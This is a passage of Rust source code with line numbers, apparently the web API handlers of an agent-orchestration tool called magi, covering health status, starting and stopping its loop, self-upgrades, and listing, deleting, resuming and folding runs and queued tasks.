1826 idle: Some(status.idle),
1827 pid: status.pid,
1828 current: status.current,
1829 completed: Some(status.completed),
1830 stale_for_secs: age,
1831 }
1832 }
1833}
1834
1835async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1836 blocking(move || {
1837 let reading = daemon::read_status(&ui.home);
1841 let loop_rev = ui.lock_loop().rev;
1845 let update = cached_update_view(&ui.repo);
1846 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
1847 Ok(Json(HealthView {
1848 version: env!("CARGO_PKG_VERSION"),
1849 home: ui.home.display().to_string(),
1850 queue_rev: ui.queue.revision(),
1851 runs_rev: runs_revision(&ui.runs),
1852 questions_rev: ui.questions.revision(),
1853 talks_rev: ui.talks.revision(),
1854 notifications_rev: ui.notices.revision(),
1855 notifications_unread: ui.notices.count_unread(),
1856 loop_rev,
1857 runs_unreadable: runs_unreadable(&ui.runs),
1858 questions_open: ui.questions.count_open(),
1859 questions_needs_owner: ui.questions.count_needs_owner(),
1860 daemon: DaemonView::of(reading.clone()),
1861 looping: ui.loop_view(reading),
1862 disk: DiskView::of(&ui),
1863 update,
1864 upgrade,
1865 }))
1866 })
1867 .await
1868}
1869
1870#[derive(Debug, Serialize)]
1872struct LoopView {
1873 running: bool,
1875 stopping: bool,
1883 parking: bool,
1891 owned: bool,
1899 repo: String,
1902 merge: Option<String>,
1905 last_error: Option<String>,
1913 daemon: DaemonView,
1916}
1917
1918#[derive(Debug, Clone, Copy)]
1927struct Foreign {
1928 pid: Option<u32>,
1930}
1931
1932impl Foreign {
1933 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
1936 let reading = reading?;
1937 if !reading.running(Timestamp::now()) {
1938 return None;
1939 }
1940 match reading.pid {
1941 Some(pid) if pid == std::process::id() => None,
1942 pid => Some(Self { pid }),
1946 }
1947 }
1948
1949 fn who(&self) -> String {
1952 match self.pid {
1953 Some(pid) => format!("another magi process (pid {pid})"),
1954 None => "another magi process".to_owned(),
1955 }
1956 }
1957}
1958
1959type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
1964
1965fn launch_daemon(
1967 opts: daemon::Opts,
1968 stop: daemon::Stop,
1969) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
1970 Box::pin(daemon::serve_until(opts, stop))
1971}
1972
1973#[derive(Debug, Default)]
1975struct LoopState {
1976 live: Option<Live>,
1978 rev: u64,
1986 last_error: Option<String>,
1989 resume_after_handover: bool,
1994}
1995
1996#[derive(Debug)]
1998struct Live {
1999 stop: daemon::Stop,
2001 handle: tokio::task::JoinHandle<()>,
2006 opts: daemon::Opts,
2010}
2011
2012impl Live {
2013 fn alive(&self) -> bool {
2015 !self.handle.is_finished()
2016 }
2017}
2018
2019fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2026 state.lock().unwrap_or_else(PoisonError::into_inner)
2027}
2028
2029async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2031 blocking(move || {
2032 let reading = daemon::read_status(&ui.home);
2033 Ok(Json(ui.loop_view(reading)))
2034 })
2035 .await
2036}
2037
2038#[derive(Debug, Deserialize)]
2044#[serde(deny_unknown_fields)]
2045struct LoopCommand {
2046 running: bool,
2047 #[serde(default)]
2057 park: bool,
2058}
2059
2060async fn loop_post(
2068 State(ui): State<Arc<Ui>>,
2069 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2070) -> ApiResult<Json<LoopView>> {
2071 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2074 blocking(move || {
2075 let reading = daemon::read_status(&ui.home);
2076 let foreign = Foreign::of(reading.as_ref());
2077 if body.running {
2078 ui.start_loop(foreign)?;
2079 } else {
2080 ui.stop_loop(foreign, body.park)?;
2081 }
2082 Ok(Json(ui.loop_view(reading)))
2083 })
2084 .await
2085}
2086
2087#[derive(Debug, Serialize)]
2089struct UpgradeView {
2090 from: String,
2092 to: Option<String>,
2094 parked: Option<String>,
2096 detail: String,
2098}
2099
2100async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2124 let reading = daemon::read_status(&ui.home);
2125 if let Some(other) = Foreign::of(reading.as_ref()) {
2126 return Err(ApiError::conflict(format!(
2127 "the loop belongs to {}, so replacing this binary would leave \
2128 that process running an old one against the same queue. Upgrade \
2129 where it was started.",
2130 other.who()
2131 )));
2132 }
2133
2134 if crate::updater::disabled_by_env() {
2140 return Ok((
2141 StatusCode::OK,
2142 Json(UpgradeView {
2143 from: env!("CARGO_PKG_VERSION").to_owned(),
2144 to: None,
2145 parked: None,
2146 detail: format!(
2147 "Automatic updates are disabled by {}. Nothing was parked \
2148 and nothing restarted.",
2149 crate::updater::NO_AUTOUPDATE_ENV
2150 ),
2151 }),
2152 ));
2153 }
2154
2155 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2160 let from = env!("CARGO_PKG_VERSION").to_owned();
2161 let latest = match crate::updater::Checker::new(&cfg.update) {
2162 Some(checker) => checker
2163 .newer_release()
2164 .await
2165 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2166 None => None,
2167 };
2168 let Some(latest) = latest else {
2169 return Ok((
2170 StatusCode::OK,
2171 Json(UpgradeView {
2172 from,
2173 to: None,
2174 parked: None,
2175 detail: "Already on the newest release. Nothing was parked \
2176 and nothing restarted."
2177 .to_owned(),
2178 }),
2179 ));
2180 };
2181
2182 let parked = ui.park_for_upgrade()?;
2185 let detail = match &parked {
2186 Some(run) => format!(
2191 "Run {} is parking at its next step, which can take as long as \
2192 the step it is on - up to an hour for an implement wave. The \
2193 deck replaces itself once it parks, comes back, and the loop \
2194 carries that run on from where it stopped. Nothing is lost if \
2195 you close this.",
2196 crate::run::short_of(run)
2197 ),
2198 None => "The deck replaces itself and comes back. Nothing was in \
2199 flight to park."
2200 .to_owned(),
2201 };
2202
2203 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2207 progress.parked_run = parked.clone();
2208 let _ = updater::write_progress(&ui.home, &progress);
2209
2210 let home = ui.home.clone();
2211 let looping = ui.looping();
2212 tokio::spawn(async move {
2213 if let Err(e) = upgrade_and_restart(home.clone()).await {
2214 tracing::error!("the upgrade did not complete: {e:#}");
2215 lock_or_recover(&looping).resume_after_handover = false;
2216 if let Some(mut progress) = updater::read_progress(&home) {
2217 progress.fail(format!("{e:#}"));
2218 let _ = updater::write_progress(&home, &progress);
2219 }
2220 }
2221 });
2222
2223 Ok((
2224 StatusCode::ACCEPTED,
2225 Json(UpgradeView {
2226 from,
2227 to: Some(latest.tag_name),
2228 parked,
2229 detail,
2230 }),
2231 ))
2232}
2233
2234async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2239 crate::updater::run_self_update(true, false, true).await?;
2242 tracing::info!("binary replaced - asking the server to hand over");
2243 if let Some(mut progress) = updater::read_progress(&home) {
2244 progress.advance(updater::Stage::Replaced);
2245 let _ = updater::write_progress(&home, &progress);
2246 }
2247 HANDOVER.notify_one();
2248 Ok(())
2249}
2250
2251#[derive(Debug, Serialize)]
2257struct RunSummary {
2258 id: String,
2259 short: String,
2260 status: String,
2261 done: bool,
2262 instruction: String,
2263 title: String,
2264 repo: String,
2265 repo_name: String,
2266 created_at: String,
2267 updated_at: String,
2268 candidates: usize,
2269 viable: usize,
2270 judges: usize,
2271 winner: Option<char>,
2272 reviews: usize,
2273 quota_losses: usize,
2274 event: Option<String>,
2275 superseded_by: Option<String>,
2280 waiting: bool,
2287 live: crate::run::Liveness,
2291 pr: Option<crate::run::PrRecord>,
2293 unmerged_by_design: bool,
2299 origin_label: String,
2302}
2303
2304impl RunSummary {
2305 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2306 Self {
2307 id: state.id.clone(),
2308 short: state.short().to_owned(),
2309 status: status_word(state.status),
2310 done: state.status.done(),
2311 unmerged_by_design: state.unmerged_by_design(),
2312 instruction: state.instruction.clone(),
2313 title: title_from(&state.instruction, TITLE_MAX),
2314 repo: state.repo.display().to_string(),
2315 repo_name: state
2316 .repo
2317 .file_name()
2318 .map(|n| n.to_string_lossy().into_owned())
2319 .unwrap_or_default(),
2320 created_at: state.created_at.to_string(),
2321 updated_at: state.updated_at.to_string(),
2322 candidates: state.candidates.len(),
2323 viable: state.viable().len(),
2324 judges: state.config.graph.judges,
2325 winner: state.winner().map(|c| c.label),
2326 reviews: state.reviews.len(),
2327 quota_losses: state.quota.len(),
2328 event: state.events.last().map(|e| e.message.clone()),
2329 waiting,
2330 live,
2331 superseded_by: None,
2334 pr: state.pr.clone(),
2335 origin_label: crate::run::origin_label(state.origin.as_ref()),
2336 }
2337 }
2338}
2339
2340fn status_word(status: RunStatus) -> String {
2343 status.as_str().to_owned()
2347}
2348
2349#[derive(Debug, Deserialize)]
2351struct ListQuery {
2352 #[serde(default)]
2353 limit: Option<usize>,
2354}
2355
2356async fn runs_list(
2357 State(ui): State<Arc<Ui>>,
2358 Query(q): Query<ListQuery>,
2359) -> ApiResult<Json<Vec<RunSummary>>> {
2360 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2361 blocking(move || {
2362 let superseded = ui.queue.superseded();
2363 let open_runs: HashSet<String> = ui
2367 .questions
2368 .list()
2369 .into_iter()
2370 .filter(|q| q.status.open())
2371 .map(|q| q.run)
2372 .collect();
2373 let claimed: HashSet<String> =
2374 crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2375 .into_iter()
2376 .map(|c| c.run)
2377 .collect();
2378 let states = run_ids(&ui.runs)
2379 .into_iter()
2380 .filter_map(|id| read_run(&ui.runs, &id).ok())
2385 .take(limit);
2386 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2387 let summaries = summarize(
2388 states,
2389 &open_runs,
2390 &claimed,
2391 &superseded,
2392 |p| probe.borrow_mut().status(p),
2393 |p| probe.borrow_mut().started_at(p),
2394 );
2395 Ok(Json(summaries))
2396 })
2397 .await
2398}
2399
2400fn summarize<I, S, D>(
2406 states: I,
2407 open_runs: &HashSet<String>,
2408 claimed: &HashSet<String>,
2409 superseded: &HashMap<String, String>,
2410 mut status_q: S,
2411 mut identity_q: D,
2412) -> Vec<RunSummary>
2413where
2414 I: IntoIterator<Item = RunState>,
2415 S: FnMut(u32) -> Option<bool>,
2416 D: FnMut(u32) -> Option<String>,
2417{
2418 states
2419 .into_iter()
2420 .map(|state| {
2421 let waiting = open_runs.contains(&state.id);
2422 let live =
2423 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2424 let mut row = RunSummary::of(&state, waiting, live);
2425 row.superseded_by = superseded
2426 .get(&state.id)
2427 .map(String::as_str)
2428 .map(crate::run::short_of)
2429 .map(str::to_owned);
2430 row
2431 })
2432 .collect()
2433}
2434
2435#[derive(Debug, Serialize)]
2442struct RunDetailView {
2443 #[serde(flatten)]
2444 state: RunState,
2445 instruction_md: Vec<md::Node>,
2446 live: crate::run::Liveness,
2461 unmerged_by_design: bool,
2466 superseded_by: Option<String>,
2474 latest_attempt: Option<LatestAttempt>,
2488 task: Option<TaskRef>,
2491 origin_label: String,
2495}
2496
2497#[derive(Debug, Serialize)]
2499struct TaskRef {
2500 id: String,
2501 short: String,
2502 title: String,
2503}
2504
2505#[derive(Debug, Serialize)]
2507struct LatestAttempt {
2508 id: String,
2509 short: String,
2510 resolved: bool,
2521}
2522
2523impl RunDetailView {
2524 fn of(
2525 state: RunState,
2526 live: crate::run::Liveness,
2527 superseded_by: Option<String>,
2528 latest_attempt: Option<LatestAttempt>,
2529 task: Option<TaskRef>,
2530 ) -> Self {
2531 Self {
2532 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2533 origin_label: crate::run::origin_label(state.origin.as_ref()),
2534 live,
2535 unmerged_by_design: state.unmerged_by_design(),
2536 superseded_by,
2537 latest_attempt,
2538 task,
2539 state,
2540 }
2541 }
2542}
2543
2544async fn run_detail(
2545 State(ui): State<Arc<Ui>>,
2546 Path(id): Path<String>,
2547) -> ApiResult<Json<RunDetailView>> {
2548 blocking(move || {
2549 let id = resolve_run(&ui.runs, &id)?;
2550 let state = read_run(&ui.runs, &id)?;
2551 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2552 let live = state.liveness(daemon_claims);
2553 let superseded_by = ui
2554 .queue
2555 .superseded_by(&id)
2556 .as_deref()
2557 .map(crate::run::short_of)
2558 .map(str::to_owned);
2559 let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
2563 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
2564 short: head.short().to_owned(),
2565 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
2566 id: head.id,
2567 })
2568 });
2569 let task = ui
2570 .queue
2571 .list()
2572 .into_iter()
2573 .find(|t| t.runs.contains(&id))
2574 .map(|t| TaskRef {
2575 short: t.short().to_owned(),
2576 title: t.title.clone(),
2577 id: t.id,
2578 });
2579 Ok(Json(RunDetailView::of(
2580 state,
2581 live,
2582 superseded_by,
2583 latest_attempt,
2584 task,
2585 )))
2586 })
2587 .await
2588}
2589
2590async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2599 let (id, unreadable) = {
2600 let ui = Arc::clone(&ui);
2601 blocking(move || {
2602 let id = resolve_run(&ui.runs, &id)?;
2603 match read_run(&ui.runs, &id) {
2604 Ok(state) => {
2605 let in_flight =
2606 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2607 state
2608 .ensure_can_delete(in_flight)
2609 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2610 let dir = ui.runs.join(&id);
2611 std::fs::remove_dir_all(&dir)
2612 .with_context(|| format!("remove run directory {}", dir.display()))?;
2613 Ok((id, false))
2614 }
2615 Err(_) => {
2616 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2620 return Err(ApiError::conflict(format!(
2621 "run {id} is being worked on by a live daemon right now"
2622 )));
2623 }
2624 Ok((id, true))
2625 }
2626 }
2627 })
2628 .await?
2629 };
2630 if unreadable {
2631 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2632 .await
2633 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2634 }
2635 let ui = Arc::clone(&ui);
2636 let done = id.clone();
2637 blocking(move || {
2638 ui.questions.abandon_for_run(
2641 &done,
2642 &format!("run {done} was deleted, so nothing is waiting for this answer"),
2643 )?;
2644 Ok(())
2645 })
2646 .await?;
2647 Ok(StatusCode::NO_CONTENT)
2648}
2649
2650async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
2674 let (id, state) = {
2675 let ui = Arc::clone(&ui);
2676 blocking(move || {
2677 let id = resolve_run(&ui.runs, &id)?;
2678 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2679 return Err(ApiError::conflict(format!(
2680 "run {id} is being worked on by a live daemon right now"
2681 )));
2682 }
2683 let state = read_run(&ui.runs, &id).ok();
2684 Ok((id, state))
2685 })
2686 .await?
2687 };
2688 let removed = match state {
2689 Some(mut state) => {
2690 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
2691 .await
2692 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2693 if removed.is_empty() {
2698 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
2699 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2700 }
2701 removed
2702 }
2703 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2704 .await
2705 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2706 };
2707 Ok(Json(FoldView {
2708 run: id,
2709 removed_count: removed.len(),
2710 removed,
2711 }))
2712}
2713
2714#[derive(Debug, Serialize)]
2716struct FoldView {
2717 run: String,
2718 removed: Vec<String>,
2720 removed_count: usize,
2721}
2722
2723#[derive(Debug, Deserialize)]
2726struct FoldMergedBody {
2727 #[serde(default)]
2728 pr_url: String,
2729}
2730
2731async fn run_fold_merged(
2751 State(ui): State<Arc<Ui>>,
2752 Path(id): Path<String>,
2753 Json(body): Json<FoldMergedBody>,
2754) -> ApiResult<Json<FoldMergedView>> {
2755 let pr_url = body.pr_url.trim().to_owned();
2756 if pr_url.is_empty() {
2757 return Err(ApiError::bad_request("pr_url is required"));
2758 }
2759 let (id, mut state) = {
2760 let ui = Arc::clone(&ui);
2761 blocking(move || {
2762 let id = resolve_run(&ui.runs, &id)?;
2763 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2764 return Err(ApiError::conflict(format!(
2765 "run {id} is being worked on by a live daemon right now"
2766 )));
2767 }
2768 let state = read_run(&ui.runs, &id)?;
2769 Ok((id, state))
2770 })
2771 .await?
2772 };
2773 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
2774 .await
2775 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
2776 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
2777 .await
2778 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2779 Ok(Json(FoldMergedView {
2780 run: id,
2781 before: before.as_str().to_owned(),
2782 after: after.as_str().to_owned(),
2783 removed,
2784 }))
2785}
2786
2787#[derive(Debug, Serialize)]
2789struct FoldMergedView {
2790 run: String,
2791 before: String,
2793 after: String,
2795 removed: Vec<String>,
2797}
2798
2799async fn run_resume(
2819 State(ui): State<Arc<Ui>>,
2820 Path(id): Path<String>,
2821) -> ApiResult<(StatusCode, Json<RunSummary>)> {
2822 let (id, state) = {
2823 let ui = Arc::clone(&ui);
2824 blocking(move || {
2825 let id = resolve_run(&ui.runs, &id)?;
2826 let state = read_run(&ui.runs, &id)?;
2827 Ok((id, state))
2828 })
2829 .await?
2830 };
2831 if let Some(to) = &state.released_to {
2832 return Err(ApiError::conflict(format!(
2833 "run {} can no longer be resumed: its worktree was released to run {}, which \
2834 took the branch over.",
2835 state.short(),
2836 crate::run::short_of(to)
2837 )));
2838 }
2839 if !state.status.resumable() {
2840 return Err(ApiError::conflict(format!(
2841 "run {} is `{}`, and only a stalled or blocked run can be resumed",
2842 state.short(),
2843 status_word(state.status)
2844 )));
2845 }
2846 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2851 .into_iter()
2852 .next()
2853 {
2854 return Err(ApiError::conflict(format!(
2855 "the loop is running run {} right now; stop it first, or wait for \
2856 it to finish, before resuming a run by hand.",
2857 crate::run::short_of(&work.run)
2858 )));
2859 }
2860 let _resume = ui.begin_resume(&id)?;
2861
2862 let queued = RunSummary::of(
2865 &state,
2866 !ui.questions.open_for(&id).is_empty(),
2867 state.liveness(false),
2868 );
2869 let run = id.clone();
2870 tokio::spawn(async move {
2871 let _resume = _resume;
2872 match crate::graph::Runner::resume(&run) {
2873 Ok(mut runner) => {
2874 if let Err(e) = runner.execute().await {
2875 tracing::warn!("resume of run {run} stopped: {e:#}");
2876 }
2877 }
2878 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
2881 }
2882 });
2883 Ok((StatusCode::ACCEPTED, Json(queued)))
2884}
2885
2886async fn run_report(
2887 State(ui): State<Arc<Ui>>,
2888 Path(id): Path<String>,
2889) -> ApiResult<impl IntoResponse> {
2890 let text = blocking(move || {
2891 let id = resolve_run(&ui.runs, &id)?;
2892 let state = read_run(&ui.runs, &id)?;
2896 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2897 let live = state.liveness(daemon_claims);
2898 Ok(format!(
2899 "{}{}",
2900 report::run(&state),
2901 report::active_seats(&state, live)
2902 ))
2903 })
2904 .await?;
2905 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
2906}
2907
2908#[derive(Debug, Serialize)]
2914struct TaskView {
2915 #[serde(flatten)]
2916 task: Task,
2917 source_label: String,
2918 status_str: &'static str,
2919 instruction_md: Vec<md::Node>,
2923 waits_on: Vec<String>,
2927 stuck_roots: Vec<String>,
2930}
2931
2932impl From<Task> for TaskView {
2933 fn from(task: Task) -> Self {
2934 Self {
2935 source_label: task.source.label(),
2936 status_str: task.status.as_str(),
2937 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
2938 waits_on: Vec::new(),
2939 stuck_roots: Vec::new(),
2940 task,
2941 }
2942 }
2943}
2944
2945impl TaskView {
2946 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
2947 let waits_on = inv.waits_on(&task);
2948 let stuck_roots = inv
2949 .stuck_roots(&task)
2950 .iter()
2951 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
2952 .collect();
2953 Self {
2954 waits_on,
2955 stuck_roots,
2956 ..Self::from(task)
2957 }
2958 }
2959}
2960
2961#[derive(Debug, Default, Deserialize)]
2964#[serde(default)]
2965struct ReposQuery {
2966 refresh: u8,
2967}
2968
2969async fn repos_list(
2976 State(ui): State<Arc<Ui>>,
2977 Query(q): Query<ReposQuery>,
2978) -> ApiResult<Json<Vec<repos::Repo>>> {
2979 let refresh = q.refresh != 0;
2980 blocking(move || {
2981 let (cfg, _) = Config::discover(&ui.repo, None)?;
2982 Ok(Json(ui.repos_cache.list(
2983 &cfg.repos.roots,
2984 Duration::from_secs(cfg.repos.scan_ttl),
2985 refresh,
2986 )))
2987 })
2988 .await
2989}
2990
2991async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
2992 blocking(move || {
2993 let tasks = ui.queue.list();
2994 let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
2995 Ok(Json(
2996 tasks
2997 .into_iter()
2998 .map(|t| TaskView::with_inventory(t, &inv))
2999 .collect(),
3000 ))
3001 })
3002 .await
3003}
3004
3005#[derive(Debug, Serialize)]
3007struct TaskRunView {
3008 n: usize,
3010 id: String,
3011 short: String,
3012 kind: &'static str,
3014 status: Option<&'static str>,
3016 readable: bool,
3018 provisional: bool,
3020 description: String,
3022 outcome: String,
3024 created_at: Option<Timestamp>,
3025 pr: Option<String>,
3026 exit: RunExit,
3028 attempt: AttemptCost,
3030 branch: Option<String>,
3032}
3033
3034#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
3036#[serde(rename_all = "snake_case")]
3037enum RunExit {
3038 Unreadable,
3039 Interrupted,
3041 Parked,
3042 QuotaStall,
3043 ResumedQuotaStall,
3047 Merged,
3048 Ready,
3049 Superseded,
3050 AlreadyInBase,
3053 Stalled,
3055 HeldWithPr,
3057 NoopHeld,
3058 Spent,
3060 InProgress,
3061}
3062
3063#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
3064#[serde(rename_all = "snake_case")]
3065enum AttemptCost {
3066 Spent,
3067 Refunded,
3068 None,
3069 Unknown,
3071}
3072
3073impl RunExit {
3074 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
3075 let Some(s) = s else {
3076 return Self::Unreadable;
3077 };
3078 let status = s.status;
3079 if resumed_later {
3080 Self::Interrupted
3081 } else if s.parked {
3082 Self::Parked
3083 } else if !status.done() {
3084 Self::InProgress
3085 } else if matches!(status, RunStatus::Merged) {
3086 Self::Merged
3087 } else if matches!(status, RunStatus::Ready) {
3088 Self::Ready
3089 } else if matches!(status, RunStatus::Superseded) {
3090 Self::Superseded
3091 } else if matches!(status, RunStatus::AlreadyInBase) {
3092 Self::AlreadyInBase
3093 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
3094 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
3095 {
3096 if resumed {
3097 Self::ResumedQuotaStall
3098 } else {
3099 Self::QuotaStall
3100 }
3101 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
3102 Self::HeldWithPr
3103 } else if matches!(status, RunStatus::VerifiedNoop) {
3104 Self::NoopHeld
3105 } else if matches!(status, RunStatus::Stalled) {
3106 Self::Stalled
3107 } else {
3108 Self::Spent
3109 }
3110 }
3111
3112 fn cost(self) -> AttemptCost {
3113 match self {
3114 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
3115 Self::Merged
3116 | Self::Ready
3117 | Self::Stalled
3118 | Self::HeldWithPr
3119 | Self::NoopHeld
3120 | Self::Spent => AttemptCost::Spent,
3121 Self::InProgress => AttemptCost::None,
3122 Self::AlreadyInBase => AttemptCost::Refunded,
3123 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
3124 AttemptCost::Unknown
3125 }
3126 }
3127 }
3128
3129 fn edge_label(self, status: Option<&str>) -> String {
3131 match self {
3132 Self::Unreadable => "record unreadable".to_owned(),
3133 Self::Interrupted => "interrupted before the run finished".to_owned(),
3134 Self::Parked => "parked, attempt refunded".to_owned(),
3135 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
3136 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
3137 Self::Merged => "merged".to_owned(),
3138 Self::Ready => "ready, not merged".to_owned(),
3139 Self::Superseded => "superseded by a later attempt".to_owned(),
3140 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
3141 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
3142 Self::HeldWithPr => "blocked, PR left open".to_owned(),
3143 Self::NoopHeld => "verified no-op".to_owned(),
3144 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
3145 Self::InProgress => "in progress".to_owned(),
3146 }
3147 }
3148
3149 fn explains(self, end: TaskStatus) -> bool {
3152 match self {
3153 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
3154 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
3155 Self::Unreadable | Self::Superseded | Self::Ready => true,
3156 _ => end != TaskStatus::Done,
3157 }
3158 }
3159}
3160
3161#[derive(Debug, Serialize)]
3163struct TaskDetailView {
3164 #[serde(flatten)]
3165 task: TaskView,
3166 max_attempts: usize,
3169 history: Vec<TaskRunView>,
3170 flow: FlowView,
3171 runs_unreadable: usize,
3173 attempts_note: &'static str,
3175}
3176
3177const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
3178and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
3179on an agent rate limit or was parked for an upgrade. A resumed run still counts as an attempt (it appears again \
3180in the list), so the runs listed can outnumber the attempts shown only after a release or a handed-back attempt.";
3181
3182fn review_branch_of(instruction: &str) -> Option<&str> {
3185 let rest = instruction.strip_prefix("Review the work already on branch `")?;
3186 rest.split('`').next().filter(|b| !b.is_empty())
3187}
3188
3189struct RunSlot<'a> {
3191 n: usize,
3193 resumed: bool,
3195 resumed_later: Option<usize>,
3197 prior: Option<(&'a str, RunStatus)>,
3199 last: bool,
3200}
3201
3202fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
3205 let RunSlot {
3206 n,
3207 resumed,
3208 resumed_later,
3209 prior,
3210 last,
3211 } = at;
3212 let short = run::short_of(id).to_owned();
3213 let Some(s) = state else {
3214 return TaskRunView {
3215 n,
3216 id: id.to_owned(),
3217 short,
3218 kind: "unknown",
3219 status: None,
3220 readable: false,
3221 provisional: false,
3222 description:
3223 "This run's record could not be read by this build (written by a different \
3224 magi, or removed), so what kind of attempt it was is unknown."
3225 .to_owned(),
3226 outcome: String::new(),
3227 created_at: None,
3228 pr: None,
3229 exit: RunExit::Unreadable,
3230 attempt: AttemptCost::Unknown,
3231 branch: None,
3232 };
3233 };
3234 let branch = review_branch_of(&s.instruction);
3235 let kind = if resumed {
3236 "resume"
3237 } else if branch.is_some() {
3238 "review"
3239 } else if task.solo || s.candidates.len() == 1 {
3240 "solo"
3241 } else {
3242 "competition"
3243 };
3244 let mut description = match kind {
3245 "resume" => {
3246 format!("Resumed run {short}: the same run carried on instead of competing again.")
3247 }
3248 "review" => format!(
3249 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
3250 branch.unwrap_or_default()
3251 ),
3252 "solo" => "Solo run: one implementer straight into review.".to_owned(),
3253 _ => format!(
3254 "Competition: {} candidates judged blind.",
3255 s.candidates.len().max(1)
3256 ),
3257 };
3258 if !resumed && let Some((p, st)) = prior {
3259 description.push_str(&format!(
3260 " A retry: run {p} before it ended {}.",
3261 st.display_label()
3262 ));
3263 }
3264
3265 let status = s.status;
3266 let provisional = matches!(status, RunStatus::Stalled)
3267 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
3268 let head = if resumed_later.is_some() {
3269 String::new()
3270 } else {
3271 match status {
3272 RunStatus::Merged => "Merged.".to_owned(),
3273 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
3274 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
3275 RunStatus::AlreadyInBase => {
3276 "Already in the base: this change landed under other commits, nothing was left to land."
3277 .to_owned()
3278 }
3279 RunStatus::Stalled => {
3280 "Stalled: the judging panel never reached a quorum, so there is no verdict."
3281 .to_owned()
3282 }
3283 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
3284 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
3285 RunStatus::VerifiedNoop => {
3286 "Verified no-op: the candidates found nothing to change.".to_owned()
3287 }
3288 other if other.done() => format!("Ended {}.", other.display_label()),
3289 other => format!("In progress ({}).", other.display_label()),
3290 }
3291 };
3292 let why = if let Some(k) = resumed_later {
3293 let cause = if s.quota.is_empty() {
3297 "the operator parked it for an upgrade"
3298 } else {
3299 "an agent hit its rate limit"
3300 };
